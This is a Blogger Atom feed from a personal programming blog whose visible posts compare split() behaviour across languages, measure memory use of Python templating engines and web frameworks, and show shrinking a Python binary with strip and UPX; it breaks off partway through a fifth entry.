<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3721596730656231421</id><updated>2012-02-06T15:31:47.253-08:00</updated><category term='ruby'/><category term='node.js'/><category term='pmacct'/><category term='couchdb'/><category term='icq'/><category term='shellcode'/><category term='selinux'/><category term='xsl'/><category term='postgresql'/><category term='tools'/><category term='javascript'/><category term='erlang'/><category term='strip'/><category term='C'/><category term='latex'/><category term='perl'/><category term='immigration'/><category term='availability'/><category term='pidgin'/><category term='fedora'/><category term='open source'/><category term='gnome'/><category term='reviewboard'/><category term='grammar'/><category term='gpl'/><category term='mingw'/><category term='yum'/><category term='systat'/><category term='git'/><category term='python'/><category term='extension'/><category term='rss'/><category term='languagetool'/><category term='farstream'/><category term='video'/><category term='libemu'/><category term='freebsd'/><category term='firewall'/><category term='srs'/><category term='canada'/><category term='thunderbird'/><category term='ifconfig'/><category term='honeyclient'/><category term='kerberos'/><category term='gstreamer'/><category term='linux'/><category term='facebook'/><category term='xml'/><category term='jabber'/><category term='java'/><category term='scalability'/><category term='upx'/><category term='php'/><category term='security'/><category term='dvcs'/><category term='scm'/><category term='ffmpeg'/><category term='metasploit'/><category term='embedding'/><category term='bash'/><category term='django'/><category term='kde'/><category term='lotus notes'/><category term='trac'/><category term='sql'/><category term='ipod'/><category term='twitter'/><category term='libpcap'/><category term='phoneyc'/><category term='ielts'/><category term='design'/><category term='qt'/><category term='requirements'/><category term='testing'/><category term='mov'/><category term='mercurial'/><category term='multicast'/><category term='.NET'/><category term='google'/><title type='text'>Availability, Integrity, Confidentiality</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>62</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-7271886752782788078</id><published>2011-10-28T14:38:00.000-07:00</published><updated>2011-10-28T14:38:04.846-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>split function behavior differences</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
A little note from my debugging experience. Split function works differently and I would say unexpectedly for empty string in different programming languages, and it can cause difficult to find bugs (especially if you use a lot of languages simultaneously).&lt;br /&gt;
&lt;br /&gt;
I've created a table with the popular programming languages:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table border="1"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Language&lt;/th&gt;&lt;th&gt;Split without parameters&lt;/th&gt;&lt;th&gt;Split with parameter&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;Python&lt;/b&gt;&lt;/td&gt;&lt;td&gt;''.split()=[]&lt;/td&gt;&lt;td&gt;''.split(',')=['']&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;Ruby&lt;/b&gt;&lt;/td&gt;&lt;td&gt;''.split()=[]&lt;/td&gt;&lt;td&gt;''.split(',')=[]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;JavaScript&lt;/b&gt;&lt;/td&gt;&lt;td&gt;''.split()=['']&lt;/td&gt;&lt;td&gt;''.split(',')=['']&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;PHP&lt;/b&gt;&lt;/td&gt;&lt;td&gt;N/A&lt;/td&gt;&lt;td&gt;explode(',', '')=array(0=&amp;gt;'')&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;Java&lt;/b&gt;&lt;/td&gt;&lt;td&gt;N/A&lt;/td&gt;&lt;td&gt;"".split(",")={""}&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;C#&lt;/b&gt;&lt;/td&gt;&lt;td&gt;"".Split()={""}&lt;/td&gt;&lt;td&gt;"".Split(',')={""}&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
As you can see sometimes it returns empty array, but sometimes an array with the one empty element. So please be careful with the split operation :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-7271886752782788078?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/7271886752782788078/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/10/split-function-behavior-differences.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7271886752782788078'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7271886752782788078'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/10/split-function-behavior-differences.html' title='split function behavior differences'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4212642021344472851</id><published>2011-08-30T23:31:00.000-07:00</published><updated>2011-08-30T23:31:12.176-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='embedding'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Python templating comparison by memory consumption</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Another comparison between:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;standard formatting;&lt;/li&gt;
&lt;li&gt;more advanced standard &lt;a href="http://docs.python.org/library/string.html#template-strings"&gt;string.template&lt;/a&gt;;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.makotemplates.org/"&gt;Mako&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://genshi.edgewall.org/"&gt;Genshi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jinja.pocoo.org/2/"&gt;Jinja2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Here the code I used for measuring:&lt;/div&gt;
&lt;pre&gt;&lt;code&gt;
#!/usr/bin/env python

import sys

NAME = 'name'


def render1():
    template = "&amp;lt;p&amp;gt;Hello %s!&amp;lt;/p&amp;gt;"
    return template % NAME


def render2():
    from string import Template
    template = Template("&amp;lt;p&amp;gt;Hello ${name}!&amp;lt;/p&amp;gt;")
    return template.substitute(dict(name=NAME))


def render3():
    from mako.template import Template
    template = Template("&amp;lt;p&amp;gt;Hello ${name}!&amp;lt;/p&amp;gt;")
    return template.render(name=NAME)


def render4():
    from genshi.template import MarkupTemplate
    tmpl = MarkupTemplate('&amp;lt;p&amp;gt;Hello $name!&amp;lt;/p&amp;gt;')
    stream = tmpl.generate(name=NAME)
    return stream.render('xhtml')


def render5():
    from jinja2 import Template
    template = Template('&amp;lt;p&amp;gt;Hello {{ name }}!&amp;lt;/p&amp;gt;')
    return template.render(name=NAME)


if __name__ == '__main__':
    num = int(sys.argv[1])
    print globals()['render%d' % num]()
    raw_input('Press Enter...')&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;br /&gt;
Results:&lt;br /&gt;
&lt;br /&gt;
&lt;table border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Method&lt;/th&gt;&lt;th&gt;RSS (kB)&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;standard formatting&lt;/td&gt;&lt;td&gt;4988&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;string.template&lt;/td&gt;&lt;td&gt;5020&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Jinja2&lt;/td&gt;&lt;td&gt;7188&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Genshi&lt;/td&gt;&lt;td&gt;7388&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Mako&lt;/td&gt;&lt;td&gt;9148&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4212642021344472851?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4212642021344472851/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/08/python-templating-comparison-by-memory.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4212642021344472851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4212642021344472851'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/08/python-templating-comparison-by-memory.html' title='Python templating comparison by memory consumption'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-8089145597332087156</id><published>2011-08-30T22:07:00.002-07:00</published><updated>2011-08-30T22:27:56.558-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='node.js'/><category scheme='http://www.blogger.com/atom/ns#' term='embedding'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Web application framework comparison by memory consumption</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Memory consumption is slightly specific to my area of software development now, but I did some research recently and maybe these results can be useful for others. Of course, I know that precious comparison is very difficult to carry out, but actually I needed only overall picture. And let me admit that results are pretty interesting and even frustrated (at least for me).&lt;br /&gt;
&lt;br /&gt;
As a basis I took &lt;a href="http://agiliq.com/blog/2010/11/i-am-so-starving-same-web-app-in-various-python-we/"&gt;so-starving&lt;/a&gt; project, and measured initial RSS (Resident Set Size) of the each process (local development webservers). Platform: x86_64 Linux (latest Ubuntu with all updates).&lt;br /&gt;
&lt;br /&gt;
As a reference, here is the RSS of the interpreters in interactive console mode:&lt;br /&gt;
&lt;br /&gt;
&lt;table border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Interpreter&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;RSS (kB)&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;stackless python&lt;/td&gt;&lt;td&gt;2.6.4&lt;/td&gt;&lt;td&gt;3916&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ruby (via irb)&lt;/td&gt;&lt;td&gt;1.8.7&lt;/td&gt;&lt;td&gt;4664&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;2.7.1&lt;/td&gt;&lt;td&gt;5624&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;php&lt;/td&gt;&lt;td&gt;5.3.5&lt;/td&gt;&lt;td&gt;6924&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;v8 (via node.js shell)&lt;/td&gt;&lt;td&gt;2.5.9.9&lt;/td&gt;&lt;td&gt;8796&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
One more reference - the most&amp;nbsp;simplest WSGI app (&lt;a href="http://docs.python.org/library/wsgiref.html#examples"&gt;example&lt;/a&gt;&amp;nbsp;in the Python documentation). It's RSS: &lt;b&gt;7336&lt;/b&gt; &lt;b&gt;Kb&lt;/b&gt;, so I assume it's almost impossible to consume less memory without additional tweaks and optimization.&lt;br /&gt;
&lt;br /&gt;
The WF comparison itself:&lt;br /&gt;
&lt;br /&gt;
&lt;table border="1"&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;th&gt;Interpreter&lt;/th&gt;&lt;th&gt;FW&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;RSS (kB)&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;php&lt;/td&gt;&lt;td&gt;php-cgi (only as reference)&lt;/td&gt;&lt;td&gt;5.3.5&lt;/td&gt;&lt;td&gt;6116&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;v8&lt;/td&gt;&lt;td&gt;node.js&lt;/td&gt;&lt;td&gt;0.2.6&lt;/td&gt;&lt;td&gt;8692&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;bottle&lt;/td&gt;&lt;td&gt;0.8.4&lt;/td&gt;&lt;td&gt;9688&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;itty&lt;/td&gt;&lt;td&gt;0.8.1&lt;/td&gt;&lt;td&gt;9888&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;pyroutes&lt;/td&gt;&lt;td&gt;0.4.1&lt;/td&gt;&lt;td&gt;10356&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;webpy&lt;/td&gt;&lt;td&gt;0.34&lt;/td&gt;&lt;td&gt;10992&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;tornado&lt;/td&gt;&lt;td&gt;1.0.1&lt;/td&gt;&lt;td&gt;11640&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;webob&lt;/td&gt;&lt;td&gt;1.0&lt;/td&gt;&lt;td&gt;12608&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;django&lt;/td&gt;&lt;td&gt;1.3&lt;/td&gt;&lt;td&gt;12720&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;flask&lt;/td&gt;&lt;td&gt;0.6.1&lt;/td&gt;&lt;td&gt;14972&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ruby&lt;/td&gt;&lt;td&gt;sinatra&lt;/td&gt;&lt;td&gt;1.0&lt;/td&gt;&lt;td&gt;15728&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;twisted&lt;/td&gt;&lt;td&gt;10.2.0&lt;/td&gt;&lt;td&gt;16928&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;web2py&lt;/td&gt;&lt;td&gt;1.98.2&lt;/td&gt;&lt;td&gt;17764&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;juno&lt;/td&gt;&lt;td&gt;0.1.2&lt;/td&gt;&lt;td&gt;19068&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;stackless python&lt;/td&gt;&lt;td&gt;nagare&lt;/td&gt;&lt;td&gt;0.3.0&lt;/td&gt;&lt;td&gt;21232&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;python&lt;/td&gt;&lt;td&gt;pyramid&lt;/td&gt;&lt;td&gt;1.2&lt;/td&gt;&lt;td&gt;22748&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ruby&lt;/td&gt;&lt;td&gt;rails&lt;/td&gt;&lt;td&gt;2.3.4&lt;/td&gt;&lt;td&gt;35412&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Of course, development servers are not optimized and can't be use in production, but overall image is clear and give us an idea of the memory usage of different WF.&lt;/div&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-8089145597332087156?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/8089145597332087156/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/08/web-application-framework-comparison-by.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/8089145597332087156'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/8089145597332087156'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/08/web-application-framework-comparison-by.html' title='Web application framework comparison by memory consumption'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-2130023359857546999</id><published>2011-07-01T00:13:00.001-07:00</published><updated>2011-07-01T00:19:59.721-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='strip'/><category scheme='http://www.blogger.com/atom/ns#' term='embedding'/><category scheme='http://www.blogger.com/atom/ns#' term='upx'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Packing executables</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
One of the biggest challenges with embedding platforms is the limitation related to file sizes. Here is the hint how to make executables smaller - strip them and pack them:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style="text-align: left;"&gt;
&lt;li&gt;&lt;b&gt;strip&lt;/b&gt; is a tool from GNU &lt;a href="http://www.gnu.org/software/binutils/"&gt;binutils&lt;/a&gt;, it discards symbols. Usually the platform toolchain has one.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;upx&lt;/b&gt; is an excellent executable packer. Can be downloaded as binary or sources from the &lt;a href="http://upx.sourceforge.net/"&gt;UPX sf.net site&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
As an example, I'll show you the packing of Python 2.6.7 binary:&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ ls -s --block-size=KB python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;6493kB&lt;/b&gt; python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ strip -s python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ ls -s --block-size=KB python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;1696kB&lt;/b&gt; python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ upx --best python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Ultimate Packer for eXecutables&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Copyright (C) 1996 - 2010&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;UPX 3.05 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser &amp;nbsp; Apr 27th 2010&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; File size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Ratio &amp;nbsp; &amp;nbsp; &amp;nbsp;Format &amp;nbsp; &amp;nbsp; &amp;nbsp;Name&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;-------------------- &amp;nbsp; ------ &amp;nbsp; ----------- &amp;nbsp; -----------&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;1692400 -&amp;gt; &amp;nbsp; &amp;nbsp;608896 &amp;nbsp; 35.98% &amp;nbsp;linux/ElfAMD &amp;nbsp; python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Packed 1 file.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ ls -s --block-size=KB python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;611kB&lt;/b&gt; python&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
So, we've got 10:1 ratio, very impressive! :-)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Stripping is a very useful method, it saves a lot of the file size in our case. However, sometimes it doesn't help at all (depending of the executable and the way it was built). So try it before use; and let me show an example of packing without stripping:&lt;/div&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ ls -s --block-size=KB python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;6493kB&lt;/b&gt; python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ upx --best python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Ultimate Packer for eXecutables&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Copyright (C) 1996 - 2010&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;UPX 3.05 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Markus Oberhumer, Laszlo Molnar &amp;amp; John Reiser &amp;nbsp; Apr 27th 2010&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; File size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Ratio &amp;nbsp; &amp;nbsp; &amp;nbsp;Format &amp;nbsp; &amp;nbsp; &amp;nbsp;Name&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;-------------------- &amp;nbsp; ------ &amp;nbsp; ----------- &amp;nbsp; -----------&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp;6489682 -&amp;gt; &amp;nbsp; 2029592 &amp;nbsp; 31.27% &amp;nbsp;linux/ElfAMD &amp;nbsp; python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Packed 1 file.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;$ ls -s --block-size=KB python&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;b&gt;2032kB&lt;/b&gt; python&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The ratio is not so good, and it was really slower. So please consider various ways to pack your files. Also don't forget to check the Wikipedia page&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Executable_compression"&gt;"Executable compression"&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
P.S. Please note that packing executables can break its functionality. For example (from my experience), upx sometimes breaks applications which use frozen Python modules.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-2130023359857546999?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/2130023359857546999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2011/07/packing-executables.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2130023359857546999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2130023359857546999'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2011/07/packing-executables.html' title='Packing executables'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-2000587470920426968</id><published>2011-06-30T23:27:00.000-07:00</published><updated>2011-06-30T23:27:28.180-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='embedding'/><category scheme='http://www.blogger.com/atom/ns#' 